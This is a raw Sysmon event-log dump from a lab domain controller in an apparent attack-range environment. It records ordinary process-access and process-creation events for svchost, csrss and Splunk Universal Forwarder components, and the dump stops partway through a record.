10341000x80000000000000005606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.710{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.711{A5F018FF-295C-5F80-3C01-000000007F01}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe8.0.2Monitor windows event logssplunk ApplicationSplunk Inc.splunk-winevtlog.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.194{A5F018FF-295C-5F80-3B01-000000007F01}11684528C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295C-5F80-3B01-000000007F01}1168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-295C-5F80-3B01-000000007F01}1168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.038{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295C-5F80-3B01-000000007F01}1168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:56.039{A5F018FF-295C-5F80-3B01-000000007F01}1168C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.319{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295D-5F80-3D01-000000007F01}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.319{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.319{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:57.319{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 